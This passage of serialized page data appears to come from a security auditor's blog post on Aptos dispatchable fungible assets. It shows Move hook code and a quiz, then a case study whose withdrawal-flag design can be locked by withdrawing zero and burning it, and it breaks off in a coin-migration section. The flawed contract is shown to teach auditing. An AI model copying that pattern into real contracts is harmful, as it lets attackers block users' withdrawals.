assets",{"type":21,"tag":22,"props":66225,"children":66226},{},[66227],{"type":26,"value":66228},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":21,"tag":22,"props":66230,"children":66231},{},[66232],{"type":26,"value":66233},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":21,"tag":66235,"props":66236,"children":66237},"warning",{},[66238],{"type":21,"tag":22,"props":66239,"children":66240},{},[66241,66243,66249],{"type":26,"value":66242},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":21,"tag":66,"props":66244,"children":66246},{"className":66245},[],[66247],{"type":26,"value":66248},"transfer_assert_minimum_deposit",{"type":26,"value":66250}," that can help mitigate such risks.",{"type":21,"tag":22,"props":66252,"children":66253},{},[66254,66256,66261,66263,66270],{"type":26,"value":66255},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":21,"tag":66,"props":66257,"children":66259},{"className":66258},[],[66260],{"type":26,"value":62133},{"type":26,"value":66262}," to ensure ",{"type":21,"tag":335,"props":66264,"children":66267},{"href":66265,"rel":66266},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[339],[66268],{"type":26,"value":66269},"their signature remains immutable",{"type":26,"value":66271},". An example implementation might look like this:",{"type":21,"tag":75,"props":66273,"children":66275},{"className":77,"code":66274,"language":79,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[66276],{"type":21,"tag":66,"props":66277,"children":66278},{"__ignoreMap":7},[66279,66315,66342,66361,66385,66404,66412,66458,66465,66472,66508,66535,66555,66578,66585,66592,66636],{"type":21,"tag":85,"props":66280,"children":66281},{"class":87,"line":88},[66282,66286,66290,66295,66299,66303,66307,66311],{"type":21,"tag":85,"props":66283,"children":66284},{"style":120},[66285],{"type":26,"value":62133},{"type":21,"tag":85,"props":66287,"children":66288},{"style":120},[66289],{"type":26,"value":532},{"type":21,"tag":85,"props":66291,"children":66292},{"style":120},[66293],{"type":26,"value":66294}," withdraw_hook",{"type":21,"tag":85,"props":66296,"children":66297},{"style":114},[66298],{"type":26,"value":117},{"type":21,"tag":85,"props":66300,"children":66301},{"style":108},[66302],{"type":26,"value":308},{"type":21,"tag":85,"props":66304,"children":66305},{"style":169},[66306],{"type":26,"value":172},{"type":21,"tag":85,"props":66308,"children":66309},{"style":120},[66310],{"type":26,"value":251},{"type":21,"tag":85,"props":66312,"children":66313},{"style":114},[66314],{"type":26,"value":924},{"type":21,"tag":85,"props":66316,"children":66317},{"class":87,"line":98},[66318,66322,66326,66330,66334,66338],{"type":21,"tag":85,"props":66319,"children":66320},{"style":120},[66321],{"type":26,"value":29857},{"type":21,"tag":85,"props":66323,"children":66324},{"style":169},[66325],{"type":26,"value":172},{"type":21,"tag":85,"props":66327,"children":66328},{"style":108},[66329],{"type":26,"value":62019},{"type":21,"tag":85,"props":66331,"children":66332},{"style":114},[66333],{"type":26,"value":117},{"type":21,"tag":85,"props":66335,"children":66336},{"style":108},[66337],{"type":26,"value":308},{"type":21,"tag":85,"props":66339,"children":66340},{"style":114},[66341],{"type":26,"value":461},{"type":21,"tag":85,"props":66343,"children":66344},{"class":87,"line":151},[66345,66349,66353,66357],{"type":21,"tag":85,"props":66346,"children":66347},{"style":120},[66348],{"type":26,"value":62040},{"type":21,"tag":85,"props":66350,"children":66351},{"style":169},[66352],{"type":26,"value":172},{"type":21,"tag":85,"props":66354,"children":66355},{"style":108},[66356],{"type":26,"value":177},{"type":21,"tag":85,"props":66358,"children":66359},{"style":114},[66360],{"type":26,"value":182},{"type":21,"tag":85,"props":66362,"children":66363},{"class":87,"line":160},[66364,66369,66373,66377,66381],{"type":21,"tag":85,"props":66365,"children":66366},{"style":120},[66367],{"type":26,"value":66368},"    transfer_ref",{"type":21,"tag":85,"props":66370,"children":66371},{"style":169},[66372],{"type":26,"value":172},{"type":21,"tag":85,"props":66374,"children":66375},{"style":169},[66376],{"type":26,"value":1487},{"type":21,"tag":85,"props":66378,"children":66379},{"style":108},[66380],{"type":26,"value":65883},{"type":21,"tag":85,"props":66382,"children":66383},{"style":114},[66384],{"type":26,"value":182},{"type":21,"tag":85,"props":66386,"children":66387},{"class":87,"line":185},[66388,66392,66396,66400],{"type":21,"tag":85,"props":66389,"children":66390},{"style":114},[66391],{"type":26,"value":1900},{"type":21,"tag":85,"props":66393,"children":66394},{"style":169},[66395],{"type":26,"value":172},{"type":21,"tag":85,"props":66397,"children":66398},{"style":108},[66399],{"type":26,"value":61998},{"type":21,"tag":85,"props":66401,"children":66402},{"style":114},[66403],{"type":26,"value":148},{"type":21,"tag":85,"props":66405,"children":66406},{"class":87,"line":501},[66407],{"type":21,"tag":85,"props":66408,"children":66409},{"style":92},[66410],{"type":26,"value":66411},"    //check paused, gather fees etc.\n",{"type":21,"tag":85,"props":66413,"children":66414},{"class":87,"line":697},[66415,66420,66424,66429,66433,66438,66442,66446,66450,66454],{"type":21,"tag":85,"props":66416,"children":66417},{"style":114},[66418],{"type":26,"value":66419},"    fungible_asset",{"type":21,"tag":85,"props":66421,"children":66422},{"style":169},[66423],{"type":26,"value":1087},{"type":21,"tag":85,"props":66425,"children":66426},{"style":1021},[66427],{"type":26,"value":66428},"withdraw_with_ref",{"type":21,"tag":85,"props":66430,"children":66431},{"style":114},[66432],{"type":26,"value":1439},{"type":21,"tag":85,"props":66434,"children":66435},{"style":120},[66436],{"type":26,"value":66437},"transfer_ref",{"type":21,"tag":85,"props":66439,"children":66440},{"style":114},[66441],{"type":26,"value":256},{"type":21,"tag":85,"props":66443,"children":66444},{"style":120},[66445],{"type":26,"value":261},{"type":21,"tag":85,"props":66447,"children":66448},{"style":114},[66449],{"type":26,"value":256},{"type":21,"tag":85,"props":66451,"children":66452},{"style":120},[66453],{"type":26,"value":20734},{"type":21,"tag":85,"props":66455,"children":66456},{"style":114},[66457],{"type":26,"value":2485},{"type":21,"tag":85,"props":66459,"children":66460},{"class":87,"line":706},[66461],{"type":21,"tag":85,"props":66462,"children":66463},{"style":114},[66464],{"type":26,"value":2671},{"type":21,"tag":85,"props":66466,"children":66467},{"class":87,"line":1100},[66468],{"type":21,"tag":85,"props":66469,"children":66470},{"emptyLinePlaceholder":16},[66471],{"type":26,"value":703},{"type":21,"tag":85,"props":66473,"children":66474},{"class":87,"line":1339},[66475,66479,66483,66488,66492,66496,66500,66504],{"type":21,"tag":85,"props":66476,"children":66477},{"style":120},[66478],{"type":26,"value":62133},{"type":21,"tag":85,"props":66480,"children":66481},{"style":120},[66482],{"type":26,"value":532},{"type":21,"tag":85,"props":66484,"children":66485},{"style":120},[66486],{"type":26,"value":66487}," deposit_hook",{"type":21,"tag":85,"props":66489,"children":66490},{"style":114},[66491],{"type":26,"value":117},{"type":21,"tag":85,"props":66493,"children":66494},{"style":108},[66495],{"type":26,"value":308},{"type":21,"tag":85,"props":66497,"children":66498},{"style":169},[66499],{"type":26,"value":172},{"type":21,"tag":85,"props":66501,"children":66502},{"style":120},[66503],{"type":26,"value":251},{"type":21,"tag":85,"props":66505,"children":66506},{"style":114},[66507],{"type":26,"value":924},{"type":21,"tag":85,"props":66509,"children":66510},{"class":87,"line":1348},[66511,66515,66519,66523,66527,66531],{"type":21,"tag":85,"props":66512,"children":66513},{"style":120},[66514],{"type":26,"value":29857},{"type":21,"tag":85,"props":66516,"children":66517},{"style":169},[66518],{"type":26,"value":172},{"type":21,"tag":85,"props":66520,"children":66521},{"style":108},[66522],{"type":26,"value":62019},{"type":21,"tag":85,"props":66524,"children":66525},{"style":114},[66526],{"type":26,"value":117},{"type":21,"tag":85,"props":66528,"children":66529},{"style":108},[66530],{"type":26,"value":308},{"type":21,"tag":85,"props":66532,"children":66533},{"style":114},[66534],{"type":26,"value":461},{"type":21,"tag":85,"props":66536,"children":66537},{"class":87,"line":1386},[66538,66543,66547,66551],{"type":21,"tag":85,"props":66539,"children":66540},{"style":120},[66541],{"type":26,"value":66542},"    fa",{"type":21,"tag":85,"props":66544,"children":66545},{"style":169},[66546],{"type":26,"value":172},{"type":21,"tag":85,"props":66548,"children":66549},{"style":108},[66550],{"type":26,"value":61998},{"type":21,"tag":85,"props":66552,"children":66553},{"style":114},[66554],{"type":26,"value":182},{"type":21,"tag":85,"props":66556,"children":66557},{"class":87,"line":1394},[66558,66562,66566,66570,66574],{"type":21,"tag":85,"props":66559,"children":66560},{"style":120},[66561],{"type":26,"value":66368},{"type":21,"tag":85,"props":66563,"children":66564},{"style":169},[66565],{"type":26,"value":172},{"type":21,"tag":85,"props":66567,"children":66568},{"style":169},[66569],{"type":26,"value":1487},{"type":21,"tag":85,"props":66571,"children":66572},{"style":108},[66573],{"type":26,"value":65883},{"type":21,"tag":85,"props":66575,"children":66576},{"style":114},[66577],{"type":26,"value":182},{"type":21,"tag":85,"props":66579,"children":66580},{"class":87,"line":1402},[66581],{"type":21,"tag":85,"props":66582,"children":66583},{"style":114},[66584],{"type":26,"value":15222},{"type":21,"tag":85,"props":66586,"children":66587},{"class":87,"line":3145},[66588],{"type":21,"tag":85,"props":66589,"children":66590},{"style":92},[66591],{"type":26,"value":66411},{"type":21,"tag":85,"props":66593,"children":66594},{"class":87,"line":3246},[66595,66599,66603,66608,66612,66616,66620,66624,66628,66632],{"type":21,"tag":85,"props":66596,"children":66597},{"style":114},[66598],{"type":26,"value":66419},{"type":21,"tag":85,"props":66600,"children":66601},{"style":169},[66602],{"type":26,"value":1087},{"type":21,"tag":85,"props":66604,"children":66605},{"style":1021},[66606],{"type":26,"value":66607},"deposit_with_ref",{"type":21,"tag":85,"props":66609,"children":66610},{"style":114},[66611],{"type":26,"value":1439},{"type":21,"tag":85,"props":66613,"children":66614},{"style":120},[66615],{"type":26,"value":66437},{"type":21,"tag":85,"props":66617,"children":66618},{"style":114},[66619],{"type":26,"value":256},{"type":21,"tag":85,"props":66621,"children":66622},{"style":120},[66623],{"type":26,"value":261},{"type":21,"tag":85,"props":66625,"children":66626},{"style":114},[66627],{"type":26,"value":256},{"type":21,"tag":85,"props":66629,"children":66630},{"style":120},[66631],{"type":26,"value":62191},{"type":21,"tag":85,"props":66633,"children":66634},{"style":114},[66635],{"type":26,"value":777},{"type":21,"tag":85,"props":66637,"children":66638},{"class":87,"line":3255},[66639],{"type":21,"tag":85,"props":66640,"children":66641},{"style":114},[66642],{"type":26,"value":2671},{"type":21,"tag":66644,"props":66645,"children":66646},"question",{},[66647,66674],{"type":21,"tag":22,"props":66648,"children":66649},{},[66650,66652,66658,66660,66666,66667,66673],{"type":26,"value":66651},"Why hook functions rely on ",{"type":21,"tag":66,"props":66653,"children":66655},{"className":66654},[],[66656],{"type":26,"value":66657},"*_with_ref",{"type":26,"value":66659}," calls? What would happen if the hook function called ",{"type":21,"tag":66,"props":66661,"children":66663},{"className":66662},[],[66664],{"type":26,"value":66665},"dispatchable_fungible_asset::withdraw",{"type":26,"value":17215},{"type":21,"tag":66,"props":66668,"children":66670},{"className":66669},[],[66671],{"type":26,"value":66672},"fungible_asset::withdraw_with_ref",{"type":26,"value":3927},{"type":21,"tag":66675,"props":66676,"children":66677},"template",{"v-slot:answer-0":7},[66678,66690],{"type":21,"tag":22,"props":66679,"children":66680},{},[66681,66683,66688],{"type":26,"value":66682},"A1: Hook functions rely on ",{"type":21,"tag":66,"props":66684,"children":66686},{"className":66685},[],[66687],{"type":26,"value":66657},{"type":26,"value":66689}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":21,"tag":22,"props":66691,"children":66692},{},[66693,66695,66700],{"type":26,"value":66694},"A2: A ",{"type":21,"tag":66,"props":66696,"children":66698},{"className":66697},[],[66699],{"type":26,"value":66665},{"type":26,"value":66701}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":21,"tag":22,"props":66703,"children":66704},{},[66705],{"type":26,"value":66706},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":21,"tag":75,"props":66708,"children":66710},{"className":77,"code":66709,"language":79,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[66711],{"type":21,"tag":66,"props":66712,"children":66713},{"__ignoreMap":7},[66714,66809,66829,66844,66864,66907,66922,66929,66936,67055,67074,67089,67108,67151],{"type":21,"tag":85,"props":66715,"children":66716},{"class":87,"line":88},[66717,66721,66725,66729,66733,66737,66741,66745,66749,66753,66757,66761,66765,66769,66773,66777,66781,66785,66789,66793,66797,66801,66805],{"type":21,"tag":85,"props":66718,"children":66719},{"style":120},[66720],{"type":26,"value":62133},{"type":21,"tag":85,"props":66722,"children":66723},{"style":120},[66724],{"type":26,"value":532},{"type":21,"tag":85,"props":66726,"children":66727},{"style":120},[66728],{"type":26,"value":62142},{"type":21,"tag":85,"props":66730,"children":66731},{"style":114},[66732],{"type":26,"value":117},{"type":21,"tag":85,"props":66734,"children":66735},{"style":108},[66736],{"type":26,"value":308},{"type":21,"tag":85,"props":66738,"children":66739},{"style":169},[66740],{"type":26,"value":172},{"type":21,"tag":85,"props":66742,"children":66743},{"style":120},[66744],{"type":26,"value":251},{"type":21,"tag":85,"props":66746,"children":66747},{"style":114},[66748],{"type":26,"value":1960},{"type":21,"tag":85,"props":66750,"children":66751},{"style":120},[66752],{"type":26,"value":261},{"type":21,"tag":85,"props":66754,"children":66755},{"style":169},[66756],{"type":26,"value":172},{"type":21,"tag":85,"props":66758,"children":66759},{"style":108},[66760],{"type":26,"value":62019},{"type":21,"tag":85,"props":66762,"children":66763},{"style":114},[66764],{"type":26,"value":117},{"type":21,"tag":85,"props":66766,"children":66767},{"style":108},[66768],{"type":26,"value":308},{"type":21,"tag":85,"props":66770,"children":66771},{"style":114},[66772],{"type":26,"value":966},{"type":21,"tag":85,"props":66774,"children":66775},{"style":120},[66776],{"type":26,"value":62191},{"type":21,"tag":85,"props":66778,"children":66779},{"style":169},[66780],{"type":26,"value":172},{"type":21,"tag":85,"props":66782,"children":66783},{"style":108},[66784],{"type":26,"value":61998},{"type":21,"tag":85,"props":66786,"children":66787},{"style":114},[66788],{"type":26,"value":256},{"type":21,"tag":85,"props":66790,"children":66791},{"style":120},[66792],{"type":26,"value":66437},{"type":21,"tag":85,"props":66794,"children":66795},{"style":169},[66796],{"type":26,"value":172},{"type":21,"tag":85,"props":66798,"children":66799},{"style":169},[66800],{"type":26,"value":1487},{"type":21,"tag":85,"props":66802,"children":66803},{"style":108},[66804],{"type":26,"value":65883},{"type":21,"tag":85,"props":66806,"children":66807},{"style":114},[66808],{"type":26,"value":15222},{"type":21,"tag":85,"props":66810,"children":66811},{"class":87,"line":98},[66812,66817,66821,66825],{"type":21,"tag":85,"props":66813,"children":66814},{"style":1021},[66815],{"type":26,"value":66816},"    assert_withdraw_flag",{"type":21,"tag":85,"props":66818,"children":66819},{"style":114},[66820],{"type":26,"value":1439},{"type":21,"tag":85,"props":66822,"children":66823},{"style":102},[66824],{"type":26,"value":4760},{"type":21,"tag":85,"props":66826,"children":66827},{"style":114},[66828],{"type":26,"value":777},{"type":21,"tag":85,"props":66830,"children":66831},{"class":87,"line":151},[66832,66836,66840],{"type":21,"tag":85,"props":66833,"children":66834},{"style":114},[66835],{"type":26,"value":63176},{"type":21,"tag":85,"props":66837,"children":66838},{"style":169},[66839],{"type":26,"value":10004},{"type":21,"tag":85,"props":66841,"children":66842},{"style":114},[66843],{"type":26,"value":12189},{"type":21,"tag":85,"props":66845,"children":66846},{"class":87,"line":160},[66847,66852,66856,66860],{"type":21,"tag":85,"props":66848,"children":66849},{"style":1021},[66850],{"type":26,"value":66851},"    set_withdraw_flag",{"type":21,"tag":85,"props":66853,"children":66854},{"style":114},[66855],{"type":26,"value":1439},{"type":21,"tag":85,"props":66857,"children":66858},{"style":102},[66859],{"type":26,"value":2530},{"type":21,"tag":85,"props":66861,"children":66862},{"style":114},[66863],{"type":26,"value":777},{"type":21,"tag":85,"props":66865,"children":66866},{"class":87,"line":185},[66867,66871,66875,66879,66883,66887,66891,66895,66899,66903],{"type":21,"tag":85,"props":66868,"children":66869},{"style":114},[66870],{"type":26,"value":66419},{"type":21,"tag":85,"props":66872,"children":66873},{"style":169},[66874],{"type":26,"value":1087},{"type":21,"tag":85,"props":66876,"children":66877},{"style":1021},[66878],{"type":26,"value":66607},{"type":21,"tag":85,"props":66880,"children":66881},{"style":114},[66882],{"type":26,"value":1439},{"type":21,"tag":85,"props":66884,"children":66885},{"style":120},[66886],{"type":26,"value":66437},{"type":21,"tag":85,"props":66888,"children":66889},{"style":114},[66890],{"type":26,"value":256},{"type":21,"tag":85,"props":66892,"children":66893},{"style":120},[66894],{"type":26,"value":261},{"type":21,"tag":85,"props":66896,"children":66897},{"style":114},[66898],{"type":26,"value":256},{"type":21,"tag":85,"props":66900,"children":66901},{"style":120},[66902],{"type":26,"value":20734},{"type":21,"tag":85,"props":66904,"children":66905},{"style":114},[66906],{"type":26,"value":777},{"type":21,"tag":85,"props":66908,"children":66909},{"class":87,"line":501},[66910,66914,66918],{"type":21,"tag":85,"props":66911,"children":66912},{"style":114},[66913],{"type":26,"value":63176},{"type":21,"tag":85,"props":66915,"children":66916},{"style":169},[66917],{"type":26,"value":10004},{"type":21,"tag":85,"props":66919,"children":66920},{"style":114},[66921],{"type":26,"value":12189},{"type":21,"tag":85,"props":66923,"children":66924},{"class":87,"line":697},[66925],{"type":21,"tag":85,"props":66926,"children":66927},{"style":114},[66928],{"type":26,"value":507},{"type":21,"tag":85,"props":66930,"children":66931},{"class":87,"line":706},[66932],{"type":21,"tag":85,"props":66933,"children":66934},{"emptyLinePlaceholder":16},[66935],{"type":26,"value":703},{"type":21,"tag":85,"props":66937,"children":66938},{"class":87,"line":1100},[66939,66943,66947,66951,66955,66959,66963,66967,66971,66975,66979,66983,66987,66991,66995,66999,67003,67007,67011,67015,67019,67023,67027,67031,67035,67039,67043,67047,67051],{"type":21,"tag":85,"props":66940,"children":66941},{"style":120},[66942],{"type":26,"value":62133},{"type":21,"tag":85,"props":66944,"children":66945},{"style":120},[66946],{"type":26,"value":532},{"type":21,"tag":85,"props":66948,"children":66949},{"style":120},[66950],{"type":26,"value":20699},{"type":21,"tag":85,"props":66952,"children":66953},{"style":114},[66954],{"type":26,"value":117},{"type":21,"tag":85,"props":66956,"children":66957},{"style":108},[66958],{"type":26,"value":308},{"type":21,"tag":85,"props":66960,"children":66961},{"style":169},[66962],{"type":26,"value":172},{"type":21,"tag":85,"props":66964,"children":66965},{"style":120},[66966],{"type":26,"value":251},{"type":21,"tag":85,"props":66968,"children":66969},{"style":114},[66970],{"type":26,"value":1960},{"type":21,"tag":85,"props":66972,"children":66973},{"style":120},[66974],{"type":26,"value":261},{"type":21,"tag":85,"props":66976,"children":66977},{"style":169},[66978],{"type":26,"value":172},{"type":21,"tag":85,"props":66980,"children":66981},{"style":108},[66982],{"type":26,"value":62019},{"type":21,"tag":85,"props":66984,"children":66985},{"style":114},[66986],{"type":26,"value":117},{"type":21,"tag":85,"props":66988,"children":66989},{"style":108},[66990],{"type":26,"value":308},{"type":21,"tag":85,"props":66992,"children":66993},{"style":114},[66994],{"type":26,"value":966},{"type":21,"tag":85,"props":66996,"children":66997},{"style":120},[66998],{"type":26,"value":20734},{"type":21,"tag":85,"props":67000,"children":67001},{"style":169},[67002],{"type":26,"value":172},{"type":21,"tag":85,"props":67004,"children":67005},{"style":108},[67006],{"type":26,"value":177},{"type":21,"tag":85,"props":67008,"children":67009},{"style":114},[67010],{"type":26,"value":256},{"type":21,"tag":85,"props":67012,"children":67013},{"style":120},[67014],{"type":26,"value":66437},{"type":21,"tag":85,"props":67016,"children":67017},{"style":169},[67018],{"type":26,"value":172},{"type":21,"tag":85,"props":67020,"children":67021},{"style":169},[67022],{"type":26,"value":1487},{"type":21,"tag":85,"props":67024,"children":67025},{"style":108},[67026],{"type":26,"value":65883},{"type":21,"tag":85,"props":67028,"children":67029},{"style":114},[67030],{"type":26,"value":1900},{"type":21,"tag":85,"props":67032,"children":67033},{"style":169},[67034],{"type":26,"value":172},{"type":21,"tag":85,"props":67036,"children":67037},{"style":108},[67038],{"type":26,"value":61998},{"type":21,"tag":85,"props":67040,"children":67041},{"style":120},[67042],{"type":26,"value":1914},{"type":21,"tag":85,"props":67044,"children":67045},{"style":114},[67046],{"type":26,"value":23461},{"type":21,"tag":85,"props":67048,"children":67049},{"style":169},[67050],{"type":26,"value":10004},{"type":21,"tag":85,"props":67052,"children":67053},{"style":114},[67054],{"type":26,"value":62224},{"type":21,"tag":85,"props":67056,"children":67057},{"class":87,"line":1339},[67058,67062,67066,67070],{"type":21,"tag":85,"props":67059,"children":67060},{"style":1021},[67061],{"type":26,"value":66816},{"type":21,"tag":85,"props":67063,"children":67064},{"style":114},[67065],{"type":26,"value":1439},{"type":21,"tag":85,"props":67067,"children":67068},{"style":102},[67069],{"type":26,"value":2530},{"type":21,"tag":85,"props":67071,"children":67072},{"style":114},[67073],{"type":26,"value":777},{"type":21,"tag":85,"props":67075,"children":67076},{"class":87,"line":1348},[67077,67081,67085],{"type":21,"tag":85,"props":67078,"children":67079},{"style":114},[67080],{"type":26,"value":63176},{"type":21,"tag":85,"props":67082,"children":67083},{"style":169},[67084],{"type":26,"value":10004},{"type":21,"tag":85,"props":67086,"children":67087},{"style":114},[67088],{"type":26,"value":12189},{"type":21,"tag":85,"props":67090,"children":67091},{"class":87,"line":1386},[67092,67096,67100,67104],{"type":21,"tag":85,"props":67093,"children":67094},{"style":1021},[67095],{"type":26,"value":66851},{"type":21,"tag":85,"props":67097,"children":67098},{"style":114},[67099],{"type":26,"value":1439},{"type":21,"tag":85,"props":67101,"children":67102},{"style":102},[67103],{"type":26,"value":4760},{"type":21,"tag":85,"props":67105,"children":67106},{"style":114},[67107],{"type":26,"value":777},{"type":21,"tag":85,"props":67109,"children":67110},{"class":87,"line":1394},[67111,67115,67119,67123,67127,67131,67135,67139,67143,67147],{"type":21,"tag":85,"props":67112,"children":67113},{"style":114},[67114],{"type":26,"value":66419},{"type":21,"tag":85,"props":67116,"children":67117},{"style":169},[67118],{"type":26,"value":1087},{"type":21,"tag":85,"props":67120,"children":67121},{"style":1021},[67122],{"type":26,"value":66428},{"type":21,"tag":85,"props":67124,"children":67125},{"style":114},[67126],{"type":26,"value":1439},{"type":21,"tag":85,"props":67128,"children":67129},{"style":120},[67130],{"type":26,"value":66437},{"type":21,"tag":85,"props":67132,"children":67133},{"style":114},[67134],{"type":26,"value":256},{"type":21,"tag":85,"props":67136,"children":67137},{"style":120},[67138],{"type":26,"value":261},{"type":21,"tag":85,"props":67140,"children":67141},{"style":114},[67142],{"type":26,"value":256},{"type":21,"tag":85,"props":67144,"children":67145},{"style":120},[67146],{"type":26,"value":20734},{"type":21,"tag":85,"props":67148,"children":67149},{"style":114},[67150],{"type":26,"value":2485},{"type":21,"tag":85,"props":67152,"children":67153},{"class":87,"line":1402},[67154],{"type":21,"tag":85,"props":67155,"children":67156},{"style":114},[67157],{"type":26,"value":2671},{"type":21,"tag":22,"props":67159,"children":67160},{},[67161],{"type":26,"value":67162},"At first glance, this code appears valid, but not to an astute reader.",{"type":21,"tag":66644,"props":67164,"children":67165},{},[67166,67171],{"type":21,"tag":22,"props":67167,"children":67168},{},[67169],{"type":26,"value":67170},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":21,"tag":66675,"props":67172,"children":67173},{"v-slot:answer-0":7},[67174,67194],{"type":21,"tag":22,"props":67175,"children":67176},{},[67177,67179,67184,67186,67192],{"type":26,"value":67178},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":21,"tag":66,"props":67180,"children":67182},{"className":67181},[],[67183],{"type":26,"value":61969},{"type":26,"value":67185}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":21,"tag":66,"props":67187,"children":67189},{"className":67188},[],[67190],{"type":26,"value":67191},"fungible_asset::destroy_zero",{"type":26,"value":67193},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":21,"tag":22,"props":67195,"children":67196},{},[67197],{"type":26,"value":67198},"It's important to understand all the features in the standard.",{"type":21,"tag":54,"props":67200,"children":67202},{"id":67201},"migrating-from-coins-to-fungible-assets",[67203],{"type":26,"value":67204},"Migrating from coins to fungible assets",{"type":21,"tag":22,"props":67206,"children":67207},{},[67208,67210,67215],{"type":26,"value":67209},"If a fungible asset is considered an upgrade to ",{"type":21,"tag":66,"props":67211,"children":67213},{"className":67212},[],[67214],{"type":26,"value":61424},{"type":26,"value":67216},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":21,"tag":67218,"props":67219,"children":67220},"note",{},[67221],{"type":21,"tag":22,"props":67222,"children":67223},{},[67224,67226,67231,67233,67238],{"type":26,"value":67225},"While the ",{"type":21,"tag":66,"props":67227,"children":67229},{"className":67228},[],[67230],{"type":26,"value":61424},{"type":26,"value":67232}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":21,"tag":66,"props":67234,"children":67236},{"className":67235},[],[67237],{"type":26,"value":61424},{"type":26,"value":73},{"type":21,"tag":22,"props":67240,"children":67241},{},[67242,67243,67249,67251,67256,67258,67263],{"type":26,"value":17034},{"type":21,"tag":66,"props":67244,"children":67246},{"className":67245},[],[67247],{"type":26,"value":67248},"coin_to_fungible_asset",{"type":26,"value":67250}," converting function automatically generates a corresponding fungible asset for a ",{"type":21,"tag":66,"props":67252,"children":67254},{"className":67253},[],[67255],{"type":26,"value":61424},{"type":26,"value":67257}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":21,"tag":66,"props":67259,"children":67261},{"className":67260},[],[67262],{"type":26,"value":61424},{"type":26,"value":67264}," is not allowed.",{"type":21,"tag":75,"props":67266,"children":67268},{"className":77,"code":67267,"language":79,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[67269],{"type":21,"tag":66,"props":67270,"children":67271},{"__ignoreMap":7},[67272,67300,67327,67363,67396,67429,67465],{"type":21,"tag":85,"props":67273,"children":67274},{"class":87,"line":88},[67275,67279,67283,67288,67292,67296],{"type":21,"tag":85,"props":67276,"children":67277},{"style":120},[67278],{"type":26,"value":62133},{"type":21,"tag":85,"props":67280,"children":67281},{"style":120},[67282],{"type":26,"value":532},{"type":21,"tag":85,"props":67284,"children":67285},{"style":120},[67286],{"type":26,"value":67287}," coin_to_fungible_asset",{"type":21,"tag":85,"props":67289,"children":67290},{"style":114},[67291],{"type":26,"value":117},{"type":21,"tag":85,"props":67293,"children":67294},{"style":108},[67295],{"type":26,"value":919},{"type":21,"tag":85,"props":67297,"children":67298},{"style":114},[67299],{"type":26,"value":924},{"type":21,"tag":85,"props":67301,"children":67302},{"class":87,"line":98},[67303,67307,67311,67315,67319,67323],{"type":21,"tag":85,"props":67304,"children":67305},{"style":120},[67306],{"type":26,"value":61643},{"type":21,"tag":85,"props":67308,"children":67309},{"style":169},[67310],{"type":26,"value":172},{"type":21,"tag":85,"props":67312,"children":67313},{"style":108},[67314],{"type":26,"value":111},{"type":21,"tag":85,"props":67316,"children":67317},{"style":114},[67318],{"type":26,"value":117},{"type":21,"tag":85,"props":67320,"children":67321},{"style":108},[67322],{"type":26,"value":919},{"type":21,"tag":85,"props":67324,"children":67325},{"style":114},[67326],{"type":26,"value":313},{"type":21,"tag":85,"props":67328,"children":67329},{"class":87,"line":151},[67330,67334,67338,67342,67346,67351,67355,67359],{"type":21,"tag":85,"props":67331,"children":67332},{"style":114},[67333],{"type":26,"value":1900},{"type":21,"tag":85,"props":67335,"children":67336},{"style":169},[67337],{"type":26,"value":172},{"type":21,"tag":85,"props":67339,"children":67340},{"style":108},[67341],{"type":26,"value":61998},{"type":21,"tag":85,"props":67343,"children":67344},{"style":120},[67345],{"type":26,"value":1914},{"type":21,"tag":85,"props":67347,"children":67348},{"style":108},[67349],{"type":26,"value":67350}," 